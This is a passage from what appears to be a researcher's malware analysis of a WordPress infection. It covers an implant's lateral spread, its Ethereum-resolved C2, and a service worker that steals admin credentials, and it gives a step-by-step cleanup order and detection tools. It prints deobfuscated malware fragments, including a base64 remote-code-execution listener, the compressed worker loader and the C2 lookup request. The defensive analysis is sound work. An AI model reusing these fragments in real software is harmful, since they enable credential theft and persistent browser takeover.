what that means in steady state: once an account is fully infected, every site's
spread routine finds nothing new every time, takes the else branch, and re-checks
every hour, forever. So a freshly cleaned site sitting next to an infected
sibling is typically re-owned within the hour. Not within seventeen, not within
three days. One. And sc_spread_interval is a transient, so flushing the object
cache - which most cleanup tools do - shortens it further.
One last thing, and it is the best news in this entire article: there is no
privilege escalation anywhere in the code. No exec, no shell_exec, no
system, no proc_open, no posix_*, no SUID tricks, no panel exploits. Every
spread step is gated on is_readable() / is_writable() and continues on
failure. It crosses sites in one account, and accounts on hosts where PHP runs as
one shared user, and anything with 0777 permissions. It does not cross a
properly isolated account. One OS user per site ends this permanently.
There is no domain to sinkhole. C2 URLs are resolved through Ethereum: an
eth_call with selector 0x3bc5de30 against embedded contract addresses, via ~20
public RPC gateways, returns data that is XOR-decrypted into the live C2 URLs.
The entire request is two table indices in the raw file:
php
// ── obfuscated - the original code ───────────────────────────────────────────$qg_unfnhn2f0f6 = qakkqsa2gb3(349) . $y0go7pixng39zkkb . vpm16ghycg(350);// ── my naming - the same line, opinionated identifiers ───────────────────────$rpcRequestBody = '{"jsonrpc":"2.0","id":3,"method":"eth_call","params":[{"data":"0x3bc5de30","to":"' . $contractAddress . '"},"latest"]}';
That last line is a gift, and it answers "where does it actually call home?"
without touching the blockchain: sc_c2_cache stores the resolved C2 host list
in plaintext in wp_options, newline-separated, and sc_last_rpc records which
gateway answered. On any live or dumped database those two rows hand you the
campaign's real infrastructure, no key needed. They are the first two rows to pull
from a wp_options dump - and, like sw_cached and issued from #3, the first
two a hasty cleanup destroys.
So here they are, straight out of the wp_options table of one of the infected
accounts. No blockchain call, no key, no decryption - just a SELECT:
Four hosts, one path per campaign, and the RPC gateway that answered. Note the
naming: two ordinary English words, hyphenated, .com. basic-junior,
railroad-boot, great-basic, root-cherry. That is almost certainly generated
from a wordlist, which means the next campaign's domains will look exactly the
same and you can hunt the pattern rather than the list.
sc_last_c2 is the one that actually answered last, and sc_c2_cache is the
current list from the contract - so between them you get both the live
infrastructure and the one node that is definitely up.
And the site's own service-worker URL, from the same table:
98376420. Eight digits, inside the 91000000–99999998 band, exactly as #3
predicts. That is the derivation confirmed against a live infection rather than
against my own arithmetic.
C2 resolved on-chain; the service worker turns an admin's browser into a persistence node.
The browser channel is the ninth node and the nastiest. On an authenticated admin
page it injects a service worker registration with a Service-Worker-Allowed: /
header. And here the obfuscation goes three layers deep, because after the string
table resolves, the API names are still hex-encoded at runtime:
// ── what the browser actually receives: hex-encoded a second time, at runtime ─sw=navigator[d("73657276696365576f726b6572")];// …with d() defined inline just above it as a four-line hex-to-string decoder
Table index -> string -> hex. Grep the rendered admin page for serviceWorker and
you find nothing.
And this is the single worst line in the sample. In the raw file it is one
function call and one integer:
php
// ── obfuscated - the original code. one function call, one integer. ────────── . g4q1a7y9nv85k88(2406)// ── the same line, resolved ────────────────────────────────────────────────── . 'if(v&&v.c){try{new Function(atob(v.c))()}catch(x){}}});'
That is a message listener in the admin's page context that executes whatever
base64 the worker sends it. Not a one-time registration - a standing, unauthenticated
remote code execution channel into your administrator's authenticated browser
session. Whatever the admin can do in wp-admin, whoever holds the worker can do,
with no password, no cookie, and nothing touching your server.
The worker itself is ~6.4 KB of minified JavaScript, and in the raw file it was
hiding behind exactly one array index:
php
// ── obfuscated - the original code ───────────────────────────────────────────$jzo8dx1_mj_q_ep = @gzinflate(g4q1a7y9nv85k88(389)(vpm16ghycg(1340)));// ── my naming - the same line, opinionated identifiers ───────────────────────// table entry 389 -> the string 'base64_decode', then called dynamically// table entry 1340 -> an 8 KB base64 blob$serviceWorkerSource = @gzinflate(base64_decode('pVhrc9u4Ff2+v0LGTBViBdN2nHha…'));
Decoded, that worker:
intercepts the wp-login POST, reads log and pwd straight out of the form
body and exfiltrates the plaintext admin credentials - TLS is irrelevant, it
sits inside the browser on the plaintext side of it;
rewrites every wp-admin navigation response in memory and injects the RCE
bridge above before </body>;
re-uploads the plugin using the admin's own authenticated session - it fetches
plugin-install.php, scrapes a real _wpnonce out of the HTML, and POSTs
the zip to update.php?action=upload-plugin. From the server's side that is a
correctly authenticated, correctly nonced administrator installing a plugin. It
reinstalls after you have cleaned the server;
resolves C2 itself, in the browser, with the identical Ethereum envelope shown
above - the browser is not a payload target, it is a peer node;
beacons domain/version/plugin/admin state plus forged 14-day auth cookies
for every admin.
On those cookies: "forged" is the wrong word. It calls WP_Session_Tokens::create(),
so these are genuine sessions WordPress itself issued and will honour, emitted in
Netscape cookies.txt format - tab-separated, exactly what curl -b eats. The
operator does not need a browser or a password, just the file. It even blanks the
recipient on wp_mail while it does this, so the "new login to your account"
notification goes nowhere. Changing passwords does not invalidate any of it.
Only rotating the website salts does.
This is why server-side cleanup alone is never enough: the persistence lives on
someone else's laptop.
The way back in is an asymmetry in the browser platform itself. A
service worker is not autonomous - the browser re-validates the worker script
against your origin, and that update fetch is not routed through the worker's
own fetch handler. The worker cannot protect itself from being replaced. Serve a
valid, self-destructing worker at the malicious script URL and it unregisters
itself on the next admin page load. Which URL? ?p=<derived sw id> - #3, computable
from ABSPATH, no guessing.
One warning if you build this yourself: the script URL is home_url('?p=<id>'),
whose path is just /. Match the p query parameter, not the path. Match the
path and you will serve JavaScript in place of your own home page. Ask me how I know.
Order is everything. The single mistake that guarantees reinfection is deleting
files (K4) before restarting the PHP pool (K2) - because the pool restart is what
clears shared memory (#7, node 8) and kills the CLI guard daemon (#6). Delete
first and both rebuild your files before you finish.
K0→K8. The overlay shows which persistence node each step destroys.
K0 - Snapshot files + database first. Timestamps are forged; capture
evidence before you touch anything. Pull sc_c2_cache, sc_last_rpc, and the
derived sw_cached / issued rows now - three of those are not named sc_*
and a prefix-based cleanup destroys them.
K1 - Contain. Take the vhost offline or serve a static maintenance page so
no PHP entry point runs. If you have neighbours, plant the watermark decoy from
#8 on every clean site on the box first - it takes two minutes and it stops the
bleeding while you work.
K2 - Restart the PHP-FPM pool.Not optional. Clears the cached
.user.ini, flushes OPcache, destroys the shared-memory copy, and kills the
CLI guard daemon. The PID is in .gs_<hex> and the interpreter path in .gp_<hex>.
K3 - Sever pre-WordPress execution. Remove auto_prepend_file from every
.htaccess, .user.ini, php.ini, vhost, and pool config.
K4 - Remove every file node in one pass, across every site - loaders,
drop-ins, MU/plugin twin, theme block, .sc_ dir, zip, .dat, .lkg, guard
files. One missed sibling (#8) reinfects everything, typically within the hour.
K5 - Clean every database the MySQL account can reach. Delete the sc_*
options and transients and the derived keys from #3, strip the slug from
active_plugins, delete every session_tokens meta, and diff the WP user list
against raw usermeta for hidden admins.
K6 - Rotate everything. DB credentials, all eight salts in wp-config.php,
every admin password, hosting panel/FTP/SSH. The sessions from #9 stay valid
fourteen days and survive password changes; only the salts kill them.
K7 - The browsers. Either every admin unregisters the service worker
(chrome://serviceworker-internals) before logging in again, or you serve the
self-destructing worker from #9 and let it clean them passively as they visit.
K8 - Rebuild properly. One OS user per site (the only control that breaks
lateral spread for good), disable_functions=shmop_open,shmop_write,ftok,popen,proc_open
at the pool level, and forbid auto_prepend_file at the vhost level.
And verify after midnight UTC, not before - see the backoff in #6.
Finds it. Auto-discovers every WordPress root you can read, computes the derived names for each one, and looks for exactly those. Exit codes 0/1/2.
Reads. Nothing else.
sc403-derive.sh
The #3 calculator. Feed it ABSPATH, get the filenames, the two ?p= endpoints, the fourteen option keys, and ready-made SELECTs. Also decodes one option value.
Nothing. Pure arithmetic.
sc403-guard.php
Tripwire for a site you believe is clean. Baselines the persistence slots, watches for the derived names and option rows, blocks the generated admin login.
Its own options.
00-sc403-sw-neutralizer.php
#9, the browser half. Serves the byte-stable tombstone worker at the derived ?p=, 410s the installer endpoint, sweeps registrations, sets the data-sc=1 marker from #11.
Serves and logs; does not delete.
sc403-dbdump.sh
Pulls every implant row out of wp_options and decodes it. Live database or an offline dump.
wp_options only. No post content, no customer data, no password hashes.
sc403-killchain.sh
K0 to K8 from this section, in order, in one script.
The account-wide version: quarantine every site under the account first, derive per-site IoCs, capture the worker evidence before the database cleanup eats it, clean, then install the neutralizer everywhere.
Acts. Root.
sc403-vaccinate.sh
The #8 decoy: plants the watermark so the implant skips a site it has not taken yet.
Dry run until --execute.
I went back and forth on publishing the destructive half. The argument against is
that a half-finished cleanup is exactly what makes this thing look immortal. The
argument for won: not shipping it never stopped anybody from cleaning badly, it
just meant they did it by hand, in the wrong order, at two in the morning. So it
is there, dry-run by default, with the order baked in.
One honest warning about the vaccine. It works because the implant trusts its own
timestomp watermark as proof that a site is already taken. That is a decision its
author can reverse at any point - and if they do, mtime % 100000 == 93819
stops being an indicator for the rest of us too. It buys a spread you can stop
today against a detection you might lose tomorrow. I use it on sites I cannot
clean yet. Not instead of cleaning them.
The unmatched brace. In the theme injection, immediately after the genuine
"Twenty Twenty-Five" content, the decoded source contains an unmatched } with
no opening brace anywhere in the theme prefix - which uses only if(...): … endif;
colon syntax. It is a bug in the malware's own generic theme-patching template,
which assumes a braced wrapper this theme doesn't have. On this particular site
the whole SC_TH block is therefore unreachable. I preserved it exactly as
captured. That is luck, not design - on a braced theme it works fine.
The dead marker. This one you can use. The service worker decides whether to
inject the RCE bridge and whether to attempt a reinstall based on one check:
js
const l = d.includes("data-sc=1");// …if (!l) { /* inject the new Function(atob(...)) bridge before </body> */ }// …if (!l) await R(e); // R() = ping the installer, re-upload the plugin zip
But the server side emits its payload as <script data-sc="6f455f-…">. There is a
quote straight after the =, so data-sc=1never matches. It is leftover code
from an earlier build, and the result is that the worker always injects and always
tries to reinstall.
Which means you can set it. Put the literal string data-sc=1 anywhere in your
wp-admin HTML - an HTML comment is enough - and both dangerous branches switch off.
Being honest about what that buys: the C2 heartbeat runs on both branches, so
this stops no exfiltration that was not already happening, and the login-POST
credential theft has no such check at all. It disarms two branches, not the worker.
Unregistering is still the only real fix. But it is free, and it is the kind of
thing that only falls out of reading the code rather than running it.
One thing I have left out on purpose: the core, the installer, the guard
template and the worker are not here as assembled, runnable files, and they are
not going to be. Everything above is what you need to find this thing on your
own boxes and kill it. A working copy helps nobody except the next person who
wants to run it.
And if you are cleaning something right now: work the chain in order. Restart
the pool before you delete a single file. I cannot say that enough times.
This site runs Google Analytics. It tells me how people find the writing and roughly where they are reading from, so I know who I am writing for. Nothing is sold, shared, or used to target ads.